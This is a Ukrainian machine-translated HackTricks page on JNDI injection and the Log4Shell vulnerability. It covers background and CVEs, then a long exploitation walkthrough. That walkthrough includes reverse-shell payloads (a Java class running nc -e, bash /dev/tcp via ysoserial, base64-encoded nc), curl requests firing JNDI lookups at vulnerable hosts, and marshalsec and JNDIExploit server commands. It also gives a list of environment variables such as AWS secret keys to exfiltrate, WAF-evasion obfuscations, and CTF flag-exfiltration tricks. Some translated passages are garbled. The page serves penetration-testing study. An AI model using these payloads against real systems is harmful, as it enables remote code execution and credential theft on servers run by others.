Ukranian - Ht
HackTricks Training Twitter Linkedin Sponsor

JNDI - Java Naming and Directory Interface & Log4Shell

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Try Hard Security Group

LogoJoin the Try Hard Security Discord Server!Discord

Основна інформація

JNDI, інтегрований в Java з кінця 1990-х років, служить як служба каталогів, що дозволяє Java-програмам знаходити дані або об'єкти через систему іменування. Він підтримує різні служби каталогів через інтерфейси постачальників послуг (SPI), що дозволяє отримувати дані з різних систем, включаючи віддалені об'єкти Java. Загальні SPI включають CORBA COS, Java RMI Registry та LDAP.

Посилання на імена JNDI

Java-об'єкти можуть бути збережені та відновлені за допомогою посилань на імена JNDI, які мають дві форми:

  • Адреси посилань: Вказує місцезнаходження об'єкта (наприклад, rmi://server/ref), що дозволяє пряме отримання з вказаної адреси.

  • Віддалений завод: Посилається на віддалений клас заводу. При доступі клас завантажується та створюється з віддаленого місця.

Однак цей механізм може бути використаний, що потенційно призводить до завантаження та виконання довільного коду. Як протиага:

  • RMI: java.rmi.server.useCodeabseOnly = true за замовчуванням з JDK 7u21, обмежуючи завантаження віддалених об'єктів. Менеджер безпеки подальше обмежує те, що може бути завантажено.

  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false за замовчуванням з JDK 6u141, 7u131, 8u121, блокує виконання віддалених об'єктів Java, які завантажуються віддалено. Якщо встановлено true, виконання віддаленого коду можливе без нагляду менеджера безпеки.

  • CORBA: Не має конкретної властивості, але Менеджер безпеки завжди активний.

Проте Менеджер імен, відповідальний за розв'язання посилань JNDI, не має вбудованих механізмів безпеки, що потенційно дозволяє отримувати об'єкти з будь-якого джерела. Це становить ризик, оскільки можна обійти захисти RMI, LDAP та CORBA, що призводить до завантаження довільних об'єктів Java або експлуатації існуючих компонентів додатків (гаджетів) для запуску шкідливого коду.

Приклади вразливих URL-адрес включають:

  • rmi://attacker-server/bar

  • ldap://attacker-server/bar

  • iiop://attacker-server/bar

Незважаючи на захист, залишаються вразливості, головним чином через відсутність захисту від завантаження JNDI з ненадійних джерел та можливість обходу існуючих захистів.

Приклад JNDI

Навіть якщо ви встановили PROVIDER_URL, ви можете вказати інший у пошуку, і він буде доступний: ctx.lookup("<attacker-controlled-url>"), і це те, що зловмисник використає для завантаження довільних об'єктів з системи, якою він керує.

Огляд CORBA

CORBA (Common Object Request Broker Architecture) використовує Інтероперабельний Об'єктний Посилання (IOR) для унікальної ідентифікації віддалених об'єктів. Це посилання включає важливу інформацію, таку як:

  • Ідентифікатор типу: Унікальний ідентифікатор інтерфейсу.

  • Codebase: URL для отримання класу-заглушки.

На відміну від, CORBA не є вроджено вразливим. Забезпечення безпеки зазвичай включає:

  • Встановлення Менеджера безпеки.

  • Налаштування Менеджера безпеки для дозволу підключень до потенційно шкідливих кодових баз. Це можна досягти через:

  • Дозвіл сокету, наприклад, permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • Дозвіл на читання файлів, або універсально (permission java.io.FilePermission "<<ALL FILES>>", "read";) або для конкретних каталогів, де можуть бути розміщені шкідливі файли.

Проте деякі політики виробників можуть бути лагідними і дозволяти ці підключення за замовчуванням.

Контекст RMI

Для RMI (Remote Method Invocation) ситуація трохи відрізняється. Як і в CORBA, завантаження довільних класів за замовчуванням обмежено. Для експлуатації RMI зазвичай потрібно обійти Менеджер безпеки, що також важливо для CORBA.

LDAP

По-перше, потрібно розрізняти між Пошуком та Пошуком. Пошук використовуватиме URL-адресу, подібну до ldap://localhost:389/o=JNDITutorial, щоб знайти об'єкт JNDITutorial на LDAP-сервері та отримати його атрибути. Пошук призначений для служб імен, оскільки ми хочемо отримати все, що прив'язано до імені.

Якщо LDAP-пошук був викликаний з SearchControls.setReturningObjFlag() з true, то повернутий об'єкт буде відновлений.

Отже, є кілька способів атаки цих опцій. Зловмисник може забруднювати записи LDAP, вводячи в них пейлоади, які будуть виконані в системах, які їх збирають (дуже корисно для компрометації десятків машин, якщо у вас є доступ до сервера LDAP). Інший спосіб експлуатації полягає в проведенні атаки типу Man-in-the-Middle в пошуку LDAP, наприклад.

У випадку, якщо ви можете змусити додаток розрішити JNDI LDAP UR, ви можете контролювати LDAP, який буде шукати, і можете надіслати назад експлойт (log4shell).

Експлойт десеріалізації

Експлойт серіалізований і буде десеріалізований. У випадку, якщо trustURLCodebase дорівнює true, зловмисник може надати свої власні класи в кодовій базі, якщо ні, йому доведеться використовувати гаджети в шляху до класу.

Експлойт посилання JNDI

Це легше атакувати цей LDAP, використовуючи посилання JavaFactory:

Уразливість Log4Shell

Уразливість виникає в Log4j, оскільки він підтримує спеціальний синтаксис у формі ${prefix:name}, де prefix є одним з численних різних Пошуків, де name повинно бути оцінено. Наприклад, ${java:version} - це поточна версія Java.

LOG4J2-313 вводить функцію пошуку jndi. Ця функція дозволяє отримувати змінні через JNDI. Зазвичай ключ автоматично попереджується префіксом java:comp/env/. Однак якщо сам ключ містить ":", цей префікс за замовчуванням не застосовується.

З наявністю ":" у ключі, як у ${jndi:ldap://example.com/a}, префікс відсутній, і LDAP-сервер запитується для об'єкта. Ці Пошуки можуть використовуватися як у конфігурації Log4j, так і при реєстрації ліній.

Отже, єдине, що потрібно для отримання RCE - уразлива версія Log4j, яка обробляє інформацію, керовану користувачем. І оскільки це бібліотека, широко використовувана Java-додатками для реєстрації інформації (включаючи Інтернет-застосунки), дуже часто використовувалася log4j для реєстрації, наприклад, отриманих HTTP-заголовків, таких як User-Agent. Однак log4j не використовується лише для реєстрації HTTP-інформації, але будь-якого вводу та даних, які вказав розробник.

Огляд CVE, пов'язаних з Log4Shell

CVE-2021-44228 [Критичний]

Ця уразливість - критичний ненадійний десеріалізаційний дефект в компоненті log4j-core, що впливає на версії від 2.0-beta9 до 2.14.1. Вона дозволяє виконання коду здалеку (RCE), дозволяючи зловмисникам захоплювати системи. Проблему повідомив Чен Чжаоцзюн з команди безпеки Alibaba Cloud і вона впливає на різні фреймворки Apache. Початковий виправлення у версії 2.15.0 було неповним. Доступні правила Sigma для захисту (Правило 1, Правило 2).

CVE-2021-45046 [Критичний]

Спочатку оцінений як низький, але пізніше піднятий до критичного, цей CVE є дефектом Відмови в обслуговуванні (DoS), що виникає внаслідок неповного виправлення у версії 2.15.0 для CVE-2021-44228. Він впливає на нестандартні конфігурації, дозволяючи зловмисникам проводити атаки DoS за допомогою створених навантажень. У твіті показано метод обхіду. Проблема вирішена у версіях 2.16.0 та 2.12.2 шляхом видалення шаблонів пошуку повідомлень та вимкнення JNDI за замовчуванням.

CVE-2021-4104 [Високий]

Впливаючи на версії Log4j 1.x в нестандартних конфігураціях з використанням JMSAppender, цей CVE є дефектом ненадійної десеріалізації. Для гілки 1.x виправлення недоступне, оскільки вона є застарілою, і рекомендується оновлення до log4j-core 2.17.0.

CVE-2021-42550 [Помірний]

Ця уразливість впливає на логувальний фреймворк Logback, наступника Log4j 1.x. Раніше вважалося, що фреймворк є безпечним, але було виявлено уразливість, і були випущені нові версії (1.3.0-alpha11 та 1.2.9), щоб виправити проблему.

CVE-2021-45105 [Високий]

Log4j 2.16.0 містить дефект DoS, що спонукає до випуску log4j 2.17.0 для виправлення CVE. Додаткові деталі наведено в звіті BleepingComputer.

CVE-2021-44832

Впливаючи на версію log4j 2.17, цей CVE вимагає від зловмисника контролю конфігураційного файлу log4j. Це включає потенційне виконання довільного коду через налаштований JDBCAppender. Додаткові деталі доступні в пості блогу Checkmarx.

Експлуатація Log4Shell

Виявлення

Цю уразливість дуже легко виявити, якщо вона не захищена, оскільки вона надсилатиме принаймні запит DNS на адресу, яку ви вказали у своєму навантаженні. Тому навантаження, подібні до:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (з використанням canarytokens.com)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (з використанням interactsh)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (з використанням Burp Suite)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (з використанням dnslog)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (з використанням huntress)

Зверніть увагу, що навіть якщо отримано запит DNS, це не означає, що додаток можна експлуатувати (або навіть є уразливим), вам потрібно спробувати експлуатувати його.

Пам'ятайте, що для експлуатації версії 2.15 потрібно додати обхід перевірки localhost: ${jndi:ldap://127.0.0.1#...}

Локальне виявлення

Шукайте локальні уразливі версії бібліотеки за допомогою:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Перевірка

Деякі з перерахованих раніше платформ дозволять вам вставити деякі змінні дані, які будуть зареєстровані при їх запиті. Це може бути дуже корисним для 2 речей:

  • Для перевірки вразливості

  • Для ексфільтрації інформації, зловживаючи вразливістю

Наприклад, ви можете запросити щось на зразок: або так ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} і якщо отримано запит DNS зі значенням змінної середовища, ви знаєте, що додаток є вразливим.

Інша інформація, яку ви можете спробувати витікти:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Інформація про RCE

Хости, які працюють на версіях JDK вище 6u141, 7u131 або 8u121, захищені від вектора атаки завантаження класів LDAP. Це через типове вимкнення com.sun.jndi.ldap.object.trustURLCodebase, що запобігає JNDI завантажувати віддалену кодову базу через LDAP. Однак важливо зауважити, що ці версії не захищені від вектора атаки десеріалізації.

Для атакуючих, які мають на меті використати ці вищі версії JDK, необхідно використовувати довірчий гаджет у додатку Java. Часто для цього використовуються інструменти, такі як ysoserial або JNDIExploit. Навпаки, експлуатувати нижчі версії JDK відносно простіше, оскільки ці версії можуть бути зманіпульовані для завантаження та виконання довільних класів.

Для додаткової інформації (наприклад, обмежень на вектори RMI та CORBA) перевірте попередній розділ посилань на JNDI Naming Reference або https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec з власною навантаженням

Ви можете протестувати це на THM box: https://tryhackme.com/room/solar

Використовуйте інструмент marshalsec (доступна версія jar тут). Цей підхід встановлює сервер переадресації LDAP для перенаправлення з'єднань на вторинний HTTP-сервер, де буде розміщено експлойт:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Щоб змусити ціль завантажити код оберненого шелу, створіть Java-файл з назвою Exploit.java з таким вмістом:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Скомпілюйте Java-файл у файл класу за допомогою: javac Exploit.java -source 8 -target 8. Далі ініціюйте HTTP-сервер в каталозі, що містить файл класу за допомогою: python3 -m http.server. Переконайтеся, що marshalsec LDAP-сервер посилається на цей HTTP-сервер.

Запустіть виконання класу експлойту на вразливому веб-сервері, відправивши навантаження, схоже на:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Примітка: Цей експлойт ґрунтується на конфігурації Java для дозволу завантаження віддаленого коду через LDAP. Якщо це не дозволено, розгляньте можливість використання довіреного класу для виконання довільного коду.

RCE - JNDIExploit

Зверніть увагу, що з якоїсь причини автор видалив цей проект з github після виявлення log4shell. Ви можете знайти кешовану версію за посиланням https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, але якщо ви хочете поважати рішення автора, скористайтеся іншим методом для використання цієї уразливості.

Більше того, ви не зможете знайти вихідний код на wayback machine, тому або проаналізуйте вихідний код, або виконайте jar-файл, знаючи, що ви не знаєте, що саме ви виконуєте.

Для цього прикладу ви можете просто запустити цей уразливий веб-сервер для log4shell на порту 8080: https://github.com/christophetd/log4shell-vulnerable-app (у README ви знайдете, як його запустити). Ця уразлива програма реєструє з використанням уразливої версії log4shell вміст заголовка HTTP-запиту X-Api-Version.

Потім ви можете завантажити jar-файл JNDIExploit і виконати його за допомогою:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Після прочитання коду всього кілька хвилин, в com.feihong.ldap.LdapServer та com.feihong.ldap.HTTPServer ви можете побачити, як створюються сервери LDAP та HTTP. Сервер LDAP буде розуміти, який навантаження потрібно обслуговувати, і перенаправить жертву на сервер HTTP, який обслуговуватиме експлойт. У com.feihong.ldap.gadgets ви можете знайти деякі конкретні гаджети, які можна використовувати для виконання бажаної дії (потенційно виконати довільний код). А в com.feihong.ldap.template ви можете побачити різні класи шаблонів, які генеруватимуть експлойти.

Ви можете побачити всі доступні експлойти за допомогою java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Деякі корисні:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Таким чином, у нашому прикладі ми вже маємо запущену цю додаткову додаток Docker. Щоб здійснити атаку:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Під час відправлення атак ви побачите вивід у терміналі, де ви виконали JNDIExploit-1.2-SNAPSHOT.jar.

Пам'ятайте перевірити java -jar JNDIExploit-1.2-SNAPSHOT.jar -u для інших варіантів експлуатації. Крім того, у разі потреби ви можете змінити порт LDAP та HTTP серверів.

RCE - JNDI-Exploit-Kit

Аналогічно попередній атакі, ви можете спробувати використати JNDI-Exploit-Kit, щоб експлуатувати цю вразливість. Ви можете згенерувати URL-адреси для відправки жертві, запустивши:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Цей атака за допомогою створеного користувацького об'єкта Java працюватиме в лабораторіях, таких як THM solar room. Однак це, як правило, не працюватиме (оскільки за замовчуванням Java не налаштована на завантаження віддаленого коду за допомогою LDAP), я вважаю, що це тому, що вона не зловживає довіреним класом для виконання довільного коду.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus - ще один інструмент для генерації працюючих JNDI посилань та надання фонових служб, запускаючи RMI-сервер, LDAP-сервер та HTTP-сервер.\

RCE - ysoserial & JNDI-Exploit-Kit

Цей варіант дійсно корисний для атак на версії Java, налаштовані на довіру лише вказаним класам, а не всім. Тому ysoserial буде використано для генерації серіалізацій довірених класів, які можуть бути використані як гаджети для виконання довільного коду (довірений клас, яким зловживає ysoserial, повинен бути використаний жертвою в програмі Java, щоб експлойт працював).

За допомогою ysoserial або ysoserial-modified ви можете створити експлойт десеріалізації, який буде завантажений за допомогою JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Використовуйте JNDI-Exploit-Kit, щоб створити JNDI-посилання, де експлойт буде чекати на підключення вразливих машин. Ви можете обслуговувати різні експлойти, які можуть бути автоматично згенеровані за допомогою JNDI-Exploit-Kit або навіть вашими власними серіалізаційними навантаженнями (створеними вами або ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Тепер ви можете легко використовувати згенероване посилання JNDI для експлуатації вразливості та отримання зворотного shell просто надсилаючи на вразливу версію log4j: ${ldap://10.10.14.10:1389/generated}

Ухилення

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Автоматичні сканери

Лабораторії для тестування

Після експлуатації Log4Shell

У цьому описі CTF добре пояснено, як можна зловживати деякими функціями Log4J.

На сторінці безпеки Log4j є деякі цікаві речення:

Починаючи з версії 2.16.0 (для Java 8), функція пошуку повідомлень була повністю видалена. Пошуки в конфігурації все ще працюють. Крім того, Log4j тепер за замовчуванням вимикає доступ до JNDI. Пошуки JNDI в конфігурації тепер потрібно включати явно.

Починаючи з версії 2.17.0 (і 2.12.3 та 2.3.1 для Java 7 та Java 6), розгортання рядків пошуку в конфігурації відбувається рекурсивно лише; в будь-якому іншому використанні розгортається лише верхній рівень пошуку, і будь-які вкладені пошуки не розгортаються.

Це означає, що за замовчуванням ви не можете використовувати жодну експлуатацію jndi. Крім того, для виконання рекурсивних пошуків вам потрібно мати їх налаштовані.

Наприклад, у цьому CTF це було налаштовано в файлі log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Пошук середовища

У цьому CTF зловмисник контролював значення ${sys:cmd} і потребував витягти прапорець з змінної середовища. Як бачимо на цій сторінці в попередніх вантажах є різні способи доступу до змінних середовища, такі як: ${env:FLAG}. У цьому CTF це було некорисно, але це може бути корисно в інших реальних сценаріях.

Ексфільтрація в винятках

У CTF ви не могли отримати доступ до stderr додатка на Java, використовуючи log4J, але винятки Log4J надсилаються на stdout, який був виведений у додатку Python. Це означало, що, спровокувавши виняток, ми могли отримати доступ до вмісту. Виняток для ексфільтрації прапорця був: ${java:${env:FLAG}}. Це працює, оскільки ${java:CTF{blahblah}} не існує, і буде показаний виняток зі значенням прапорця:

Винятки в шаблонах конвертації

Просто згадаючи, ви також могли впровадити нові шаблони конвертації та спровокувати винятки, які будуть зареєстровані в stdout. Наприклад:

Це не було корисним для ексфільтрації дати в повідомленні про помилку, оскільки пошук не був вирішений до шаблону конвертації, але це може бути корисним для інших речей, таких як виявлення.

Шаблони конвертації регулярних виразів

Однак можна використовувати деякі шаблони конвертації, які підтримують регулярні вирази для ексфільтрації інформації з пошуку за допомогою регулярних виразів та зловживання бінарним пошуком або часовими поведінками.

  • Бінарний пошук через повідомлення про винятки

Шаблон конвертації %replace може бути використаний для заміни вмісту з рядка навіть за допомогою регулярних виразів. Він працює наступним чином: replace{pattern}{regex}{substitution} Зловживаючи цим поведінкою, ви можете зробити заміну спровокувати виняток, якщо регулярний вираз відповідає чому-небудь усередині рядка (і жодного винятку, якщо його не знайдено) таким чином:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception

  • Часовий метод

Як було зазначено в попередньому розділі, %replace підтримує регулярні вирази. Таким чином, можна використовувати навантаження зі сторінки ReDoS, щоб викликати тайм-аут, якщо прапор знайдено. Наприклад, навантаження типу %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} спричинить тайм-аут на тому CTF.

У цьому описі, замість використання атаки ReDoS використовувалася атака з посиленням, щоб викликати різницю у часі відповіді:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Якщо прапор починається з flagGuess, весь прапор замінюється на 29 символів # (я використовував цей символ, оскільки ймовірно, він не буде частиною прапора). Кожен з отриманих 29 символів # потім замінюється на 54 символи #. Цей процес повторюється 6 разів, що призводить до загальної кількості 29*54*54^6* =`` ``96816014208 символів #!

Заміна такої великої кількості символів # призведе до виклику тайм-ауту на 10 секунд у додатку Flask, що в свою чергу призведе до відправлення користувачеві HTTP статус коду 500. (Якщо прапор не починається з flagGuess, ми отримаємо статус код не 500)

Посилання

Група з безпеки Try Hard Security

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

PreviousPython Yaml DeserializationNextDomain/Subdomain takeover

Last updated